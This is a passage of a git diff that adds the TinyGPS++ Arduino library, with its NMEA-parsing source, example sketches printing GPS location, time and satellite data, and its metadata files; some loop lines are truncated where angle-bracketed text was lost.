_new_course; + unsigned long _hdop, _new_hdop; + unsigned short _numsats, _new_numsats; + + unsigned long _last_time_fix, _new_time_fix; + unsigned long _last_position_fix, _new_position_fix; + + // parsing state variables + byte _parity; + bool _is_checksum_term; + char _term[15]; + byte _sentence_type; + byte _term_number; + byte _term_offset; + bool _gps_data_good; + +#ifndef _GPS_NO_STATS + // statistics + unsigned long _encoded_characters; + unsigned short _good_sentences; + unsigned short _failed_checksum; + unsigned short _passed_checksum; +#endif + + // internal utilities + int from_hex(char a); + unsigned long parse_decimal(); + unsigned long parse_degrees(); + bool term_complete(); + bool gpsisdigit(char c) { return c >= '0' && c <= '9'; } + long gpsatol(const char *str); + int gpsstrcmp(const char *str1, const char *str2); +}; + +#if !defined(ARDUINO) +// Arduino 0012 workaround +#undef int +#undef char +#undef long +#undef byte +#undef float +#undef abs +#undef round +#endif + +#endif diff --git a/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino new file mode 100755 index 0000000..da62825 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino @@ -0,0 +1,91 @@ +#include +/* + This sample sketch should be the first you try out when you are testing a TinyGPS++ + (TinyGPSPlus) installation. In normal use, you feed TinyGPS++ objects characters from + a serial NMEA GPS device, but this example uses static strings for simplicity. +*/ + +// A sample NMEA stream. +const char *gpsStream = + "$GPRMC,045103.000,A,3014.1984,N,09749.2872,W,0.67,161.46,030913,,,A*7C\r\n" + "$GPGGA,045104.000,3014.1985,N,09749.2873,W,1,09,1.2,211.6,M,-22.5,M,,0000*62\r\n" + "$GPRMC,045200.000,A,3014.3820,N,09748.9514,W,36.88,65.02,030913,,,A*77\r\n" + "$GPGGA,045201.000,3014.3864,N,09748.9411,W,1,10,1.2,200.8,M,-22.5,M,,0000*6C\r\n" + "$GPRMC,045251.000,A,3014.4275,N,09749.0626,W,0.51,217.94,030913,,,A*7D\r\n" + "$GPGGA,045252.000,3014.4273,N,09749.0628,W,1,09,1.3,206.9,M,-22.5,M,,0000*6F\r\n"; + +// The TinyGPS++ object +TinyGPSPlus gps; + +void setup() +{ + Serial.begin(115200); + + Serial.println(F("BasicExample.ino")); + Serial.println(F("Basic demonstration of TinyGPS++ (no device needed)")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + while (*gpsStream) + if (gps.encode(*gpsStream++)) + displayInfo(); + + Serial.println(); + Serial.println(F("Done.")); +} + +void loop() +{ +} + +void displayInfo() +{ + Serial.print(F("Location: ")); + if (gps.location.isValid()) + { + Serial.print(gps.location.lat(), 6); + Serial.print(F(",")); + Serial.print(gps.location.lng(), 6); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" Date/Time: ")); + if (gps.date.isValid()) + { + Serial.print(gps.date.month()); + Serial.print(F("/")); + Serial.print(gps.date.day()); + Serial.print(F("/")); + Serial.print(gps.date.year()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" ")); + if (gps.time.isValid()) + { + if (gps.time.hour() < 10) Serial.print(F("0")); + Serial.print(gps.time.hour()); + Serial.print(F(":")); + if (gps.time.minute() < 10) Serial.print(F("0")); + Serial.print(gps.time.minute()); + Serial.print(F(":")); + if (gps.time.second() < 10) Serial.print(F("0")); + Serial.print(gps.time.second()); + Serial.print(F(".")); + if (gps.time.centisecond() < 10) Serial.print(F("0")); + Serial.print(gps.time.centisecond()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.println(); +} diff --git a/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino new file mode 100755 index 0000000..489c30b --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino @@ -0,0 +1,92 @@ +#include +#include +/* + This sample sketch demonstrates the normal use of a TinyGPS++ (TinyGPSPlus) object. + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("DeviceExample.ino")); + Serial.println(F("A simple demonstration of TinyGPS++ with an attached GPS module")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // This sketch displays information every time a new sentence is correctly encoded. + while (ss.available() > 0) + if (gps.encode(ss.read())) + displayInfo(); + + if (millis() > 5000 && gps.charsProcessed() < 10) + { + Serial.println(F("No GPS detected: check wiring.")); + while(true); + } +} + +void displayInfo() +{ + Serial.print(F("Location: ")); + if (gps.location.isValid()) + { + Serial.print(gps.location.lat(), 6); + Serial.print(F(",")); + Serial.print(gps.location.lng(), 6); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" Date/Time: ")); + if (gps.date.isValid()) + { + Serial.print(gps.date.month()); + Serial.print(F("/")); + Serial.print(gps.date.day()); + Serial.print(F("/")); + Serial.print(gps.date.year()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.print(F(" ")); + if (gps.time.isValid()) + { + if (gps.time.hour() < 10) Serial.print(F("0")); + Serial.print(gps.time.hour()); + Serial.print(F(":")); + if (gps.time.minute() < 10) Serial.print(F("0")); + Serial.print(gps.time.minute()); + Serial.print(F(":")); + if (gps.time.second() < 10) Serial.print(F("0")); + Serial.print(gps.time.second()); + Serial.print(F(".")); + if (gps.time.centisecond() < 10) Serial.print(F("0")); + Serial.print(gps.time.centisecond()); + } + else + { + Serial.print(F("INVALID")); + } + + Serial.println(); +} diff --git a/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino b/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino new file mode 100755 index 0000000..52d5c16 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino @@ -0,0 +1,159 @@ +#include +#include +/* + This sample code demonstrates the normal use of a TinyGPS++ (TinyGPSPlus) object. + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("FullExample.ino")); + Serial.println(F("An extensive example of many interesting TinyGPS++ features")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + Serial.println(F("Sats HDOP Latitude Longitude Fix Date Time Date Alt Course Speed Card Distance Course Card Chars Sentences Checksum")); + Serial.println(F(" (deg) (deg) Age Age (m) --- from GPS ---- ---- to London ---- RX RX Fail")); + Serial.println(F("----------------------------------------------------------------------------------------------------------------------------------------")); +} + +void loop() +{ + static const double LONDON_LAT = 51.508131, LONDON_LON = -0.128002; + + printInt(gps.satellites.value(), gps.satellites.isValid(), 5); + printFloat(gps.hdop.hdop(), gps.hdop.isValid(), 6, 1); + printFloat(gps.location.lat(), gps.location.isValid(), 11, 6); + printFloat(gps.location.lng(), gps.location.isValid(), 12, 6); + printInt(gps.location.age(), gps.location.isValid(), 5); + printDateTime(gps.date, gps.time); + printFloat(gps.altitude.meters(), gps.altitude.isValid(), 7, 2); + printFloat(gps.course.deg(), gps.course.isValid(), 7, 2); + printFloat(gps.speed.kmph(), gps.speed.isValid(), 6, 2); + printStr(gps.course.isValid() ? TinyGPSPlus::cardinal(gps.course.deg()) : "*** ", 6); + + unsigned long distanceKmToLondon = + (unsigned long)TinyGPSPlus::distanceBetween( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON) / 1000; + printInt(distanceKmToLondon, gps.location.isValid(), 9); + + double courseToLondon = + TinyGPSPlus::courseTo( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + + printFloat(courseToLondon, gps.location.isValid(), 7, 2); + + const char *cardinalToLondon = TinyGPSPlus::cardinal(courseToLondon); + + printStr(gps.location.isValid() ? cardinalToLondon : "*** ", 6); + + printInt(gps.charsProcessed(), true, 6); + printInt(gps.sentencesWithFix(), true, 10); + printInt(gps.failedChecksum(), true, 9); + Serial.println(); + + smartDelay(1000); + + if (millis() > 5000 && gps.charsProcessed() < 10) + Serial.println(F("No GPS data received: check wiring")); +} + +// This custom version of delay() ensures that the gps object +// is being "fed". +static void smartDelay(unsigned long ms) +{ + unsigned long start = millis(); + do + { + while (ss.available()) + gps.encode(ss.read()); + } while (millis() - start < ms); +} + +static void printFloat(float val, bool valid, int len, int prec) +{ + if (!valid) + { + while (len-- > 1) + Serial.print('*'); + Serial.print(' '); + } + else + { + Serial.print(val, prec); + int vi = abs((int)val); + int flen = prec + (val < 0.0 ? 2 : 1); // . and - + flen += vi >= 1000 ? 4 : vi >= 100 ? 3 : vi >= 10 ? 2 : 1; + for (int i=flen; i 0) + sz[len-1] = ' '; + Serial.print(sz); + smartDelay(0); +} + +static void printDateTime(TinyGPSDate &d, TinyGPSTime &t) +{ + if (!d.isValid()) + { + Serial.print(F("********** ")); + } + else + { + char sz[32]; + sprintf(sz, "%02d/%02d/%02d ", d.month(), d.day(), d.year()); + Serial.print(sz); + } + + if (!t.isValid()) + { + Serial.print(F("******** ")); + } + else + { + char sz[32]; + sprintf(sz, "%02d:%02d:%02d ", t.hour(), t.minute(), t.second()); + Serial.print(sz); + } + + printInt(d.age(), d.isValid(), 5); + smartDelay(0); +} + +static void printStr(const char *str, int len) +{ + int slen = strlen(str); + for (int i=0; i +#include +/* + This sample code demonstrates just about every built-in operation of TinyGPS++ (TinyGPSPlus). + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(rx) and 3(tx). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +// For stats that happen every 5 seconds +unsigned long last = 0UL; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("KitchenSink.ino")); + Serial.println(F("Demonstrating nearly every feature of TinyGPS++")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // Dispatch incoming characters + while (ss.available() > 0) + gps.encode(ss.read()); + + if (gps.location.isUpdated()) + { + Serial.print(F("LOCATION Fix Age=")); + Serial.print(gps.location.age()); + Serial.print(F("ms Raw Lat=")); + Serial.print(gps.location.rawLat().negative ? "-" : "+"); + Serial.print(gps.location.rawLat().deg); + Serial.print("[+"); + Serial.print(gps.location.rawLat().billionths); + Serial.print(F(" billionths], Raw Long=")); + Serial.print(gps.location.rawLng().negative ? "-" : "+"); + Serial.print(gps.location.rawLng().deg); + Serial.print("[+"); + Serial.print(gps.location.rawLng().billionths); + Serial.print(F(" billionths], Lat=")); + Serial.print(gps.location.lat(), 6); + Serial.print(F(" Long=")); + Serial.println(gps.location.lng(), 6); + } + + else if (gps.date.isUpdated()) + { + Serial.print(F("DATE Fix Age=")); + Serial.print(gps.date.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.date.value()); + Serial.print(F(" Year=")); + Serial.print(gps.date.year()); + Serial.print(F(" Month=")); + Serial.print(gps.date.month()); + Serial.print(F(" Day=")); + Serial.println(gps.date.day()); + } + + else if (gps.time.isUpdated()) + { + Serial.print(F("TIME Fix Age=")); + Serial.print(gps.time.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.time.value()); + Serial.print(F(" Hour=")); + Serial.print(gps.time.hour()); + Serial.print(F(" Minute=")); + Serial.print(gps.time.minute()); + Serial.print(F(" Second=")); + Serial.print(gps.time.second()); + Serial.print(F(" Hundredths=")); + Serial.println(gps.time.centisecond()); + } + + else if (gps.speed.isUpdated()) + { + Serial.print(F("SPEED Fix Age=")); + Serial.print(gps.speed.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.speed.value()); + Serial.print(F(" Knots=")); + Serial.print(gps.speed.knots()); + Serial.print(F(" MPH=")); + Serial.print(gps.speed.mph()); + Serial.print(F(" m/s=")); + Serial.print(gps.speed.mps()); + Serial.print(F(" km/h=")); + Serial.println(gps.speed.kmph()); + } + + else if (gps.course.isUpdated()) + { + Serial.print(F("COURSE Fix Age=")); + Serial.print(gps.course.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.course.value()); + Serial.print(F(" Deg=")); + Serial.println(gps.course.deg()); + } + + else if (gps.altitude.isUpdated()) + { + Serial.print(F("ALTITUDE Fix Age=")); + Serial.print(gps.altitude.age()); + Serial.print(F("ms Raw=")); + Serial.print(gps.altitude.value()); + Serial.print(F(" Meters=")); + Serial.print(gps.altitude.meters()); + Serial.print(F(" Miles=")); + Serial.print(gps.altitude.miles()); + Serial.print(F(" KM=")); + Serial.print(gps.altitude.kilometers()); + Serial.print(F(" Feet=")); + Serial.println(gps.altitude.feet()); + } + + else if (gps.satellites.isUpdated()) + { + Serial.print(F("SATELLITES Fix Age=")); + Serial.print(gps.satellites.age()); + Serial.print(F("ms Value=")); + Serial.println(gps.satellites.value()); + } + + else if (gps.hdop.isUpdated()) + { + Serial.print(F("HDOP Fix Age=")); + Serial.print(gps.hdop.age()); + Serial.print(F("ms raw=")); + Serial.print(gps.hdop.value()); + Serial.print(F(" hdop=")); + Serial.println(gps.hdop.hdop()); + } + + else if (millis() - last > 5000) + { + Serial.println(); + if (gps.location.isValid()) + { + static const double LONDON_LAT = 51.508131, LONDON_LON = -0.128002; + double distanceToLondon = + TinyGPSPlus::distanceBetween( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + double courseToLondon = + TinyGPSPlus::courseTo( + gps.location.lat(), + gps.location.lng(), + LONDON_LAT, + LONDON_LON); + + Serial.print(F("LONDON Distance=")); + Serial.print(distanceToLondon/1000, 6); + Serial.print(F(" km Course-to=")); + Serial.print(courseToLondon, 6); + Serial.print(F(" degrees [")); + Serial.print(TinyGPSPlus::cardinal(courseToLondon)); + Serial.println(F("]")); + } + + Serial.print(F("DIAGS Chars=")); + Serial.print(gps.charsProcessed()); + Serial.print(F(" Sentences-with-Fix=")); + Serial.print(gps.sentencesWithFix()); + Serial.print(F(" Failed-checksum=")); + Serial.print(gps.failedChecksum()); + Serial.print(F(" Passed-checksum=")); + Serial.println(gps.passedChecksum()); + + if (gps.charsProcessed() < 10) + Serial.println(F("WARNING: No GPS data. Check wiring.")); + + last = millis(); + Serial.println(); + } +} \ No newline at end of file diff --git a/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino b/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino new file mode 100755 index 0000000..afc6d8a --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino @@ -0,0 +1,150 @@ +#include +#include +/* + This sample code tracks satellite elevations using TinyGPSCustom objects. + + Satellite numbers and elevations are not normally tracked by TinyGPS++, but + by using TinyGPSCustom we get around this. + + It requires the use of SoftwareSerial and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; +static const int MAX_SATELLITES = 40; +static const int PAGE_LENGTH = 40; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +TinyGPSCustom totalGPGSVMessages(gps, "GPGSV", 1); // $GPGSV sentence, first element +TinyGPSCustom messageNumber(gps, "GPGSV", 2); // $GPGSV sentence, second element +TinyGPSCustom satNumber[4]; // to be initialized later +TinyGPSCustom elevation[4]; +bool anyChanges = false; +unsigned long linecount = 0; + +struct +{ + int elevation; + bool active; +} sats[MAX_SATELLITES]; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("SatElevTracker.ino")); + Serial.println(F("Displays GPS satellite elevations as they change")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + // Initialize all the uninitialized TinyGPSCustom objects + for (int i=0; i<4; ++i) + { + satNumber[i].begin(gps, "GPGSV", 4 + 4 * i); // offsets 4, 8, 12, 16 + elevation[i].begin(gps, "GPGSV", 5 + 4 * i); // offsets 5, 9, 13, 17 + } +} + +void loop() +{ + // Dispatch incoming characters + if (ss.available() > 0) + { + gps.encode(ss.read()); + + if (totalGPGSVMessages.isUpdated()) + { + for (int i=0; i<4; ++i) + { + int no = atoi(satNumber[i].value()); + if (no >= 1 && no <= MAX_SATELLITES) + { + int elev = atoi(elevation[i].value()); + sats[no-1].active = true; + if (sats[no-1].elevation != elev) + { + sats[no-1].elevation = elev; + anyChanges = true; + } + } + } + + int totalMessages = atoi(totalGPGSVMessages.value()); + int currentMessage = atoi(messageNumber.value()); + if (totalMessages == currentMessage && anyChanges) + { + if (linecount++ % PAGE_LENGTH == 0) + printHeader(); + TimePrint(); + for (int i=0; i +#include +/* + This sample code demonstrates how to use an array of TinyGPSCustom objects + to monitor all the visible satellites. + + Satellite numbers, elevation, azimuth, and signal-to-noise ratio are not + normally tracked by TinyGPS++, but by using TinyGPSCustom we get around this. + + The simple code also demonstrates how to use arrays of TinyGPSCustom objects, + each monitoring a different field of the $GPGSV sentence. + + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +/* + From http://aprs.gids.nl/nmea/: + + $GPGSV + + GPS Satellites in view + + eg. $GPGSV,3,1,11,03,03,111,00,04,15,270,00,06,01,010,00,13,06,292,00*74 + $GPGSV,3,2,11,14,25,170,00,16,57,208,39,18,67,296,40,19,40,246,00*74 + $GPGSV,3,3,11,22,42,067,42,24,14,311,43,27,05,244,00,,,,*4D + + 1 = Total number of messages of this type in this cycle + 2 = Message number + 3 = Total number of SVs in view + 4 = SV PRN number + 5 = Elevation in degrees, 90 maximum + 6 = Azimuth, degrees from true north, 000 to 359 + 7 = SNR, 00-99 dB (null when not tracking) + 8-11 = Information about second SV, same as field 4-7 + 12-15= Information about third SV, same as field 4-7 + 16-19= Information about fourth SV, same as field 4-7 +*/ + +static const int MAX_SATELLITES = 40; + +TinyGPSCustom totalGPGSVMessages(gps, "GPGSV", 1); // $GPGSV sentence, first element +TinyGPSCustom messageNumber(gps, "GPGSV", 2); // $GPGSV sentence, second element +TinyGPSCustom satsInView(gps, "GPGSV", 3); // $GPGSV sentence, third element +TinyGPSCustom satNumber[4]; // to be initialized later +TinyGPSCustom elevation[4]; +TinyGPSCustom azimuth[4]; +TinyGPSCustom snr[4]; + +struct +{ + bool active; + int elevation; + int azimuth; + int snr; +} sats[MAX_SATELLITES]; + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("SatelliteTracker.ino")); + Serial.println(F("Monitoring satellite location and signal strength using TinyGPSCustom")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); + + // Initialize all the uninitialized TinyGPSCustom objects + for (int i=0; i<4; ++i) + { + satNumber[i].begin(gps, "GPGSV", 4 + 4 * i); // offsets 4, 8, 12, 16 + elevation[i].begin(gps, "GPGSV", 5 + 4 * i); // offsets 5, 9, 13, 17 + azimuth[i].begin( gps, "GPGSV", 6 + 4 * i); // offsets 6, 10, 14, 18 + snr[i].begin( gps, "GPGSV", 7 + 4 * i); // offsets 7, 11, 15, 19 + } +} + +void loop() +{ + // Dispatch incoming characters + if (ss.available() > 0) + { + gps.encode(ss.read()); + if (totalGPGSVMessages.isUpdated()) + { + for (int i=0; i<4; ++i) + { + int no = atoi(satNumber[i].value()); + // Serial.print(F("SatNumber is ")); Serial.println(no); + if (no >= 1 && no <= MAX_SATELLITES) + { + sats[no-1].elevation = atoi(elevation[i].value()); + sats[no-1].azimuth = atoi(azimuth[i].value()); + sats[no-1].snr = atoi(snr[i].value()); + sats[no-1].active = true; + } + } + + int totalMessages = atoi(totalGPGSVMessages.value()); + int currentMessage = atoi(messageNumber.value()); + if (totalMessages == currentMessage) + { + Serial.print(F("Sats=")); Serial.print(gps.satellites.value()); + Serial.print(F(" Nums=")); + for (int i=0; i +#include + +/* + This sample demonstrates TinyGPS++'s capacity for extracting custom + fields from any NMEA sentence. TinyGPS++ has built-in facilities for + extracting latitude, longitude, altitude, etc., from the $GPGGA and + $GPRMC sentences. But with the TinyGPSCustom type, you can extract + other NMEA fields, even from non-standard NMEA sentences. + + It requires the use of SoftwareSerial, and assumes that you have a + 4800-baud serial GPS device hooked up on pins 4(RX) and 3(TX). +*/ +static const int RXPin = 4, TXPin = 3; +static const uint32_t GPSBaud = 4800; + +// The TinyGPS++ object +TinyGPSPlus gps; + +// The serial connection to the GPS device +SoftwareSerial ss(RXPin, TXPin); + +/* + By declaring TinyGPSCustom objects like this, we announce that we + are interested in the 15th, 16th, and 17th fields in the $GPGSA + sentence, respectively the PDOP (F("positional dilution of precision")), + HDOP (F("horizontal...")), and VDOP (F("vertical...")). + + (Counting starts with the field immediately following the sentence name, + i.e. $GPGSA. For more information on NMEA sentences, consult your + GPS module's documentation and/or http://aprs.gids.nl/nmea/.) + + If your GPS module doesn't support the $GPGSA sentence, then you + won't get any output from this program. +*/ + +TinyGPSCustom pdop(gps, "GPGSA", 15); // $GPGSA sentence, 15th element +TinyGPSCustom hdop(gps, "GPGSA", 16); // $GPGSA sentence, 16th element +TinyGPSCustom vdop(gps, "GPGSA", 17); // $GPGSA sentence, 17th element + +void setup() +{ + Serial.begin(115200); + ss.begin(GPSBaud); + + Serial.println(F("UsingCustomFields.ino")); + Serial.println(F("Demonstrating how to extract any NMEA field using TinyGPSCustom")); + Serial.print(F("Testing TinyGPS++ library v. ")); Serial.println(TinyGPSPlus::libraryVersion()); + Serial.println(F("by Mikal Hart")); + Serial.println(); +} + +void loop() +{ + // Every time anything is updated, print everything. + if (gps.altitude.isUpdated() || gps.satellites.isUpdated() || + pdop.isUpdated() || hdop.isUpdated() || vdop.isUpdated()) + { + Serial.print(F("ALT=")); Serial.print(gps.altitude.meters()); + Serial.print(F(" PDOP=")); Serial.print(pdop.value()); + Serial.print(F(" HDOP=")); Serial.print(hdop.value()); + Serial.print(F(" VDOP=")); Serial.print(vdop.value()); + Serial.print(F(" SATS=")); Serial.println(gps.satellites.value()); + } + + while (ss.available() > 0) + gps.encode(ss.read()); +} + diff --git a/libraries/TinyGPSPlus-1.0.2/keywords.txt b/libraries/TinyGPSPlus-1.0.2/keywords.txt new file mode 100755 index 0000000..91d119b --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/keywords.txt @@ -0,0 +1,71 @@ +####################################### +# Syntax Coloring Map for TinyGPS++ +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +TinyGPSPlus KEYWORD1 +TinyGPSLocation KEYWORD1 +TinyGPSDate KEYWORD1 +TinyGPSTime KEYWORD1 +TinyGPSSpeed KEYWORD1 +TinyGPSCourse KEYWORD1 +TinyGPSAltitude KEYWORD1 +TinyGPSInteger KEYWORD1 +TinyGPSDecimal KEYWORD1 +TinyGPSCustom KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +encode KEYWORD2 +location KEYWORD2 +date KEYWORD2 +time KEYWORD2 +speed KEYWORD2 +course KEYWORD2 +altitude KEYWORD2 +satellites KEYWORD2 +hdop KEYWORD2 +libraryVersion KEYWORD2 +distanceBetween KEYWORD2 +courseTo KEYWORD2 +cardinal KEYWORD2 +charsProcessed KEYWORD2 +sentencesWithFix KEYWORD2 +failedChecksum KEYWORD2 +passedChecksum KEYWORD2 +isValid KEYWORD2 +isUpdated KEYWORD2 +age KEYWORD2 +lat KEYWORD2 +lng KEYWORD2 +isUpdatedDate KEYWORD2 +isUpdatedTime KEYWORD2 +year KEYWORD2 +month KEYWORD2 +day KEYWORD2 +hour KEYWORD2 +minute KEYWORD2 +second KEYWORD2 +centisecond KEYWORD2 +value KEYWORD2 +knots KEYWORD2 +mph KEYWORD2 +mps KEYWORD2 +kmph KEYWORD2 +deg KEYWORD2 +billionths KEYWORD2 +negative KEYWORD2 +meters KEYWORD2 +miles KEYWORD2 +kilometers KEYWORD2 +feet KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + diff --git a/libraries/TinyGPSPlus-1.0.2/library.json b/libraries/TinyGPSPlus-1.0.2/library.json new file mode 100755 index 0000000..cdf6262 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/library.json @@ -0,0 +1,22 @@ +{ + "name": "TinyGPSPlus", + "version": "1.0.0", + "keywords": "gps,NMEA", + "description": "A new, customizable Arduino NMEA parsing library", + "repository": + { + "type": "git", + "url": "https://github.com/mikalhart/TinyGPSPlus.git" + }, + "authors": + [ + { + "name": "Mikal Hart", + "email": "mikal@arduniana.org", + "url": "http://arduiniana.org", + "maintainer": true + } + ], + "frameworks": "arduino", + "platforms": "*" +} diff --git a/libraries/TinyGPSPlus-1.0.2/library.properties b/libraries/TinyGPSPlus-1.0.2/library.properties new file mode 100755 index 0000000..b17e8b3 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/library.properties @@ -0,0 +1,9 @@ +name=TinyGPS++ +version=1.0.0 +author=Mikal Hart +maintainer=Mikal Hart +sentence=TinyGPS++ provides object-oriented parsing of GPS (NMEA) sentences +paragraph=NMEA is the standard format GPS devices use to report location, time, altitude, etc. TinyGPS++ is a compact, resilient library that parses the most common NMEA 'sentences' used: GGA and RMC. It can also be customized to extract data from *any* compliant sentence. +category=Communication +url=https://github.com/mikalhart/TinyGPSPlus +architectures=* diff --git a/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp new file mode 100755 index 0000000..e1ec777 --- /dev/null +++ b/libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp @@ -0,0 +1,503 @@ +/* +TinyGPS++ - a small GPS library for Arduino providing universal NMEA parsing +Based on work by and "distanceBetween" and "courseTo" courtesy of Maarten Lamers. +Suggestion to add satellites, courseTo(), and cardinal() by Matt Monson. +Location precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include "TinyGPS++.h" + +#include +#include +#include + +#define _GPRMCterm "GPRMC" +#define _GPGGAterm "GPGGA" +#define _GNRMCterm "GNRMC" +#define _GNGGAterm "GNGGA" + +TinyGPSPlus::TinyGPSPlus() + : parity(0) + , isChecksumTerm(false) + , curSentenceType(GPS_SENTENCE_OTHER) + , curTermNumber(0) + , curTermOffset(0) + , sentenceHasFix(false) + , customElts(0) + , customCandidates(0) + , encodedCharCount(0) + , sentencesWithFixCount(0) + , failedChecksumCount(0) + , passedChecksumCount(0) +{ + term[0] = '\0'; +} + +// +// public methods +// + +bool TinyGPSPlus::encode(char c) +{ + ++encodedCharCount; + + switch(c) + { + case ',': // term terminators + parity ^= (uint8_t)c; + case '\r': + case '\n': + case '*': + { + bool isValidSentence = false; + if (curTermOffset < sizeof(term)) + { + term[curTermOffset] = 0; + isValidSentence = endOfTermHandler(); + } + ++curTermNumber; + curTermOffset = 0; + isChecksumTerm = c == '*'; + return isValidSentence; + } + break; + + case '$': // sentence begin + curTermNumber = curTermOffset = 0; + parity = 0; + curSentenceType = GPS_SENTENCE_OTHER; + isChecksumTerm = false; + sentenceHasFix = false; + return false; + + default: // ordinary characters + if (curTermOffset < sizeof(term) - 1) + term[curTermOffset++] = c; + if (!isChecksumTerm) + parity ^= c; + return false; + } + + return false; +} + +// +// internal utilities +// +int TinyGPSPlus::fromHex(char a) +{ + if (a >= 'A' && a <= 'F') + return a - 'A' + 10; + else if (a >= 'a' && a <= 'f') + return a - 'a' + 10; + else + return a - '0'; +} + +// static +// Parse a (potentially negative) number with up to 2 decimal digits -xxxx.yy +int32_t TinyGPSPlus::parseDecimal(const char *term) +{ + bool negative = *term == '-'; + if (negative) ++term; + int32_t ret = 100 * (int32_t)atol(term); + while (isdigit(*term)) ++term; + if (*term == '.' && isdigit(term[1])) + { + ret += 10 * (term[1] - '0'); + if (isdigit(term[2])) + ret += term[2] - '0'; + } + return negative ? -ret : ret; +} + +// static +// Parse degrees in that funny NMEA format DDMM.MMMM +void 